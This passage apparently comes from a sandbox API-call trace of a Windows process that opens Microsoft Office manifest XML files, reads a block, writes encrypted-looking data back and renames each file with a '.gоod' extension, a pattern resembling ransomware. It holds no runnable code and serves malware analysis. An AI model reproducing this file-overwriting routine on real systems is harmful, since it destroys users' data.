lpFilePart=0x0) returned 0x59 [0161.402] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0161.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.accessmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.accessmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0161.403] GetFileType (hFile=0x810) returned 0x1 [0161.403] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0161.403] GetFileType (hFile=0x810) returned 0x1 [0161.403] SetFilePointer (in: hFile=0x810, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x1000 [0161.403] ReadFile (in: hFile=0x810, lpBuffer=0x371bc38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee3b8, lpOverlapped=0x0 | out: lpBuffer=0x371bc38*, lpNumberOfBytesRead=0x1fbee3b8*=0x1000, lpOverlapped=0x0) returned 1 [0161.404] CloseHandle (hObject=0x810) returned 1 [0161.404] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.accessmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.accessmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x59 [0161.404] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0161.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.accessmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.accessmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0161.404] GetFileType (hFile=0x810) returned 0x1 [0161.404] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0161.404] GetFileType (hFile=0x810) returned 0x1 [0161.404] SetFilePointer (in: hFile=0x810, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0xe71c [0161.405] WriteFile (in: hFile=0x810, lpBuffer=0x371cf28*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbee2d8, lpOverlapped=0x0 | out: lpBuffer=0x371cf28*, lpNumberOfBytesWritten=0x1fbee2d8*=0x10, lpOverlapped=0x0) returned 1 [0161.405] CloseHandle (hObject=0x810) returned 1 [0161.406] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.accessmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.accessmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x59 [0161.406] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0161.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.accessmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.accessmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0161.406] GetFileType (hFile=0x810) returned 0x1 [0161.406] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0161.406] GetFileType (hFile=0x810) returned 0x1 [0161.406] ReadFile (in: hFile=0x810, lpBuffer=0x371f280, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee368, lpOverlapped=0x0 | out: lpBuffer=0x371f280*, lpNumberOfBytesRead=0x1fbee368*=0x1000, lpOverlapped=0x0) returned 1 [0161.443] CloseHandle (hObject=0x810) returned 1 [0161.443] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.accessmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.accessmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x59 [0161.443] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0161.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.accessmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.accessmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0161.443] GetFileType (hFile=0x810) returned 0x1 [0161.443] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0161.443] GetFileType (hFile=0x810) returned 0x1 [0161.444] WriteFile (in: hFile=0x810, lpBuffer=0x371df80*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbee418, lpOverlapped=0x0 | out: lpBuffer=0x371df80*, lpNumberOfBytesWritten=0x1fbee418*=0x1010, lpOverlapped=0x0) returned 1 [0161.568] CloseHandle (hObject=0x810) returned 1 [0162.210] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.accessmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.accessmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x59 [0162.210] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.accessmui.msi.16.en-us.xml.gоod", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.accessmui.msi.16.en-us.xml.gоod", lpFilePart=0x0) returned 0x5e [0162.210] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee350) returned 1 [0162.210] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.accessmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.accessmui.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x1fbee430 | out: lpFileInformation=0x1fbee430*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd32bedda, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd32bedda, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5c82d2dd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe72c)) returned 1 [0162.210] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee310) returned 1 [0162.210] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.accessmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.accessmui.msi.16.en-us.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.accessmui.msi.16.en-us.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.accessmui.msi.16.en-us.xml.gоod")) returned 1 [0162.211] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.accessmuiset.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.accessmuiset.msi.16.en-us.xml", lpFilePart=0x0) returned 0x5c [0162.211] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee390) returned 1 [0162.211] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.accessmuiset.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.accessmuiset.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x351d850 | out: lpFileInformation=0x351d850*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd2daddbf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2daddbf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd31d9ff6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7fa)) returned 1 [0162.212] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee350) returned 1 [0162.212] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.accessmuiset.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.accessmuiset.msi.16.en-us.xml", lpFilePart=0x0) returned 0x5c [0162.212] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee240) returned 1 [0162.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.accessmuiset.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.accessmuiset.msi.16.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0162.212] GetFileType (hFile=0x768) returned 0x1 [0162.212] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee1b0) returned 1 [0162.212] GetFileType (hFile=0x768) returned 0x1 [0162.212] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x1fbee3e8 | out: lpFileSizeHigh=0x1fbee3e8*=0x0) returned 0x7fa [0162.212] ReadFile (in: hFile=0x768, lpBuffer=0x351e3c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee318, lpOverlapped=0x0 | out: lpBuffer=0x351e3c8*, lpNumberOfBytesRead=0x1fbee318*=0x7fa, lpOverlapped=0x0) returned 1 [0162.214] CloseHandle (hObject=0x768) returned 1 [0162.253] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.accessmuiset.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.accessmuiset.msi.16.en-us.xml", lpFilePart=0x0) returned 0x5c [0162.253] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee240) returned 1 [0162.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.accessmuiset.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.accessmuiset.msi.16.en-us.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0162.254] GetFileType (hFile=0x768) returned 0x1 [0162.254] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee1b0) returned 1 [0162.254] GetFileType (hFile=0x768) returned 0x1 [0162.254] WriteFile (in: hFile=0x768, lpBuffer=0x3598428*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x1fbee228, lpOverlapped=0x0 | out: lpBuffer=0x3598428*, lpNumberOfBytesWritten=0x1fbee228*=0x800, lpOverlapped=0x0) returned 1 [0162.513] CloseHandle (hObject=0x768) returned 1 [0162.857] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.accessmuiset.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.accessmuiset.msi.16.en-us.xml", lpFilePart=0x0) returned 0x5c [0162.857] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.accessmuiset.msi.16.en-us.xml.gоod", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.accessmuiset.msi.16.en-us.xml.gоod", lpFilePart=0x0) returned 0x61 [0162.857] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee350) returned 1 [0162.857] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.accessmuiset.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.accessmuiset.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x1fbee430 | out: lpFileInformation=0x1fbee430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2daddbf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2daddbf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5d144283, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x800)) returned 1 [0162.858] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee310) returned 1 [0162.858] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.accessmuiset.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.accessmuiset.msi.16.en-us.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.accessmuiset.msi.16.en-us.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.accessmuiset.msi.16.en-us.xml.gоod")) returned 1 [0162.859] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x5f [0162.859] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee390) returned 1 [0162.859] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.dcf.dcf.x-none.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x33e54f8 | out: lpFileInformation=0x33e54f8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd23fe538, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd23fe538, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd26f9444, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3f14)) returned 1 [0162.859] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee350) returned 1 [0162.859] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x5f [0162.859] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0162.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.dcf.dcf.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0162.859] GetFileType (hFile=0x640) returned 0x1 [0162.860] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0162.860] GetFileType (hFile=0x640) returned 0x1 [0162.860] SetFilePointer (in: hFile=0x640, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x1000 [0162.860] ReadFile (in: hFile=0x640, lpBuffer=0x33e59f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee3b8, lpOverlapped=0x0 | out: lpBuffer=0x33e59f0*, lpNumberOfBytesRead=0x1fbee3b8*=0x1000, lpOverlapped=0x0) returned 1 [0162.861] CloseHandle (hObject=0x640) returned 1 [0162.861] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x5f [0162.861] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0162.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.dcf.dcf.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0162.861] GetFileType (hFile=0x640) returned 0x1 [0162.861] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0162.861] GetFileType (hFile=0x640) returned 0x1 [0162.862] SetFilePointer (in: hFile=0x640, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x3f14 [0162.862] WriteFile (in: hFile=0x640, lpBuffer=0x33e7038*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbee2d8, lpOverlapped=0x0 | out: lpBuffer=0x33e7038*, lpNumberOfBytesWritten=0x1fbee2d8*=0x10, lpOverlapped=0x0) returned 1 [0162.863] CloseHandle (hObject=0x640) returned 1 [0162.863] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x5f [0162.863] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0162.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.dcf.dcf.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0162.863] GetFileType (hFile=0x640) returned 0x1 [0162.863] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0162.863] GetFileType (hFile=0x640) returned 0x1 [0162.863] ReadFile (in: hFile=0x640, lpBuffer=0x33e99e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee368, lpOverlapped=0x0 | out: lpBuffer=0x33e99e0*, lpNumberOfBytesRead=0x1fbee368*=0x1000, lpOverlapped=0x0) returned 1 [0162.892] CloseHandle (hObject=0x640) returned 1 [0162.892] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x5f [0162.892] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0162.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.dcf.dcf.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0162.892] GetFileType (hFile=0x640) returned 0x1 [0162.892] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0162.892] GetFileType (hFile=0x640) returned 0x1 [0162.892] WriteFile (in: hFile=0x640, lpBuffer=0x33e86c8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbee418, lpOverlapped=0x0 | out: lpBuffer=0x33e86c8*, lpNumberOfBytesWritten=0x1fbee418*=0x1010, lpOverlapped=0x0) returned 1 [0162.892] CloseHandle (hObject=0x640) returned 1 [0162.892] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x5f [0162.892] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml.gоod", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml.gоod", lpFilePart=0x0) returned 0x64 [0162.892] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee350) returned 1 [0162.892] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.dcf.dcf.x-none.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x1fbee430 | out: lpFileInformation=0x1fbee430*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd23fe538, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd23fe538, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5d4d7ae1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3f24)) returned 1 [0162.893] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee310) returned 1 [0162.893] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.dcf.dcf.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.dcf.dcf.x-none.msi.16.x-none.xml.gоod")) returned 1 [0162.893] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.dcfmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.dcfmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x56 [0162.893] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee390) returned 1 [0162.894] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.dcfmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.dcfmui.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x34660a0 | out: lpFileInformation=0x34660a0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd2dfa2a2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2dfa2a2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd31415cd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x265a)) returned 1 [0162.894] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee350) returned 1 [0162.894] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.dcfmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.dcfmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x56 [0162.894] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0162.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.dcfmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.dcfmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0162.894] GetFileType (hFile=0x640) returned 0x1 [0162.894] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0162.894] GetFileType (hFile=0x640) returned 0x1 [0162.894] SetFilePointer (in: hFile=0x640, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x1000 [0162.894] ReadFile (in: hFile=0x640, lpBuffer=0x3466548, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee3b8, lpOverlapped=0x0 | out: lpBuffer=0x3466548*, lpNumberOfBytesRead=0x1fbee3b8*=0x1000, lpOverlapped=0x0) returned 1 [0163.840] CloseHandle (hObject=0x640) returned 1 [0164.306] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.dcfmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.dcfmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x56 [0164.306] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0164.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.dcfmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.dcfmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0164.307] GetFileType (hFile=0x644) returned 0x1 [0164.307] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0164.307] GetFileType (hFile=0x644) returned 0x1 [0164.307] SetFilePointer (in: hFile=0x644, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x265a [0164.307] WriteFile (in: hFile=0x644, lpBuffer=0x3595248*, 